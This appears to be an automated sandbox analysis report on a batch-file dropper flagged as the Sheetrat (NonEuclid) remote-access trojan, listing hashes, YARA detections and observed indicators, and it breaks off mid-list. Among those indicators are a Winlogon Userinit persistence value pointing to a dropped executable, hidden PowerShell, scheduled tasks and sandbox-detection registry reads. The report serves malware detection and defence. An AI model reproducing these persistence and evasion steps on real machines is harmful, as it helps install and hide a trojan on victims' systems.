Analysis
- user interaction
yes - max time kernel
599s - max time network
550s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/11/2026, 12:20
Static task
static1
Behavioral task
behavioral1
Sample
sdfghgfds.bat
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
sdfghgfds.bat
Resource
win11ltsc2024-20260911-en
General
- Target sdfghgfds.bat
- Size 521KB
- Sample261102-ph3dcsbz3n
- SHA256 04ee08ff134824988147e5794da3adc9f7c981894f68305870948dfc49f4a321
- MD5 27fc4ac83a6c59d011e0961ac14e5851
- SHA1 b6398d5a9ae1113380c3522d4c029b57aced7311
- SHA512 aef3609107e1898e8b5733178862bb2d78eac9b20e69040ef7cccd8a98228d15759b1c6f3cbff0e041c8f73946ab650e3e0cc4abdb75cdc8770a53b11a6160ae
- SSDEEP 12288:laxmc8GNf+nN8Cj5rdTNstUP4VfZ5ffeWfNdalp/x8yEM:cFLuN8oVNstvZy82
- TLSH T1C2B4F0869F11DA6B008CF394B2C9D17C5294AFE608835F751EF006D7A5E93463FA12FA
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects Sheetrat obfuscated V1.8 and higher 1 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
resource yara_rule behavioral2/memory/1180-51-0x000001BB1F0F0000-0x000001BB1F162000-memory.dmp family_sheetrat_v4 - Detects Sheetrat obfuscated version 1 IoCs
resource yara_rule behavioral2/memory/1180-51-0x000001BB1F0F0000-0x000001BB1F162000-memory.dmp Sheetrat_v5 - Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\xdwdJira Update.exe" powershell.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 8 1180 powershell.exe - Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 860 powershell.exe 4844 powershell.exe 1180 powershell.exe - Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Loads dropped DLL 25 IoCs
pid Process 2516 Process not Found 1736 Process not Found 5744 Process not Found 1668 Process not Found 3428 Process not Found 124 Process not Found 4536 WmiApSrv.exe 5788 Process not Found 4904 Process not Found 368 Process not Found 2612 Process not Found 208 Process not Found 2464 timeout.exe 4892 Process not Found 4968 powershell.exe 2504 svchost.exe 4012 Process not Found 3268 Process not Found 2800 sihost.exe 3220 explorer.exe 1708 Process not Found 3100 Process not Found 6036 Process not Found 4020 Process not Found 2656 SecurityHealthHost.exe - Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\F: explorer.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 2980 WScript.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\xdwd.dll powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 11 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4152 cmd.exe 4916 cmd.exe 1320 CMD.exe 6004 CMD.exe 3080 CMD.exe 4956 CMD.exe 5724 CMD.exe 5244 CMD.exe 3988 CMD.exe 5004 cmd.exe 2248 CMD.exe - Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe - Delays execution with timeout.exe 1 IoCs
pid Process 2464 timeout.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies registry class 39 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4154726816-2055034831-2297277433-1000\{A676192B-2A84-4D91-AB65-307A3320162B} explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\MuiCache SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4154726816-2055034831-2297277433-1000\{5E4E475C-AAD5-41A7-8402-F88C054F5E48} explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5604 schtasks.exe 6032 schtasks.exe 2924 schtasks.exe 2916 schtasks.exe 5540 schtasks.exe 5668 schtasks.exe 3944 schtasks.exe 3704 schtasks.exe - Suspicious behavior: EnumeratesProcesses 47 IoCs
pid Process 860 powershell.exe 860 powershell.exe 4844 powershell.exe 4844 powershell.exe 4844 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 2464 timeout.exe 2464 timeout.exe 4968 powershell.exe 4968 powershell.exe 4968 powershell.exe 4968 powershell.exe 2504 svchost.exe 2504 svchost.exe 2800 sihost.exe 2800 sihost.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 3220 explorer.exe 2656 SecurityHealthHost.exe 2656 SecurityHealthHost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 860 powershell.exe Token: SeDebugPrivilege 4844 powershell.exe Token: SeIncreaseQuotaPrivilege 4844 powershell.exe Token: SeSecurityPrivilege 4844 powershell.exe Token: SeTakeOwnershipPrivilege 4844 powershell.exe Token: SeLoadDriverPrivilege 4844 powershell.exe Token: SeSystemProfilePrivilege 4844 powershell.exe Token: SeSystemtimePrivilege 4844 powershell.exe Token: SeProfSingleProcessPrivilege 4844 powershell.exe Token: SeIncBasePriorityPrivilege 4844 powershell.exe Token: SeCreatePagefilePrivilege 4844 powershell.exe Token: SeBackupPrivilege 4844 powershell.exe Token: SeRestorePrivilege 4844 powershell.exe Token: SeShutdownPrivilege 4844 powershell.exe Token: SeDebugPrivilege 4844 powershell.exe Token: SeSystemEnvironmentPrivilege 4844 powershell.exe Token: SeRemoteShutdownPrivilege 4844 powershell.exe Token: SeUndockPrivilege 4844 powershell.exe Token: SeManageVolumePrivilege 4844 powershell.exe Token: 33 4844 powershell.exe Token: 34 4844 powershell.exe Token: 35 4844 powershell.exe Token: 36 4844 powershell.exe Token: 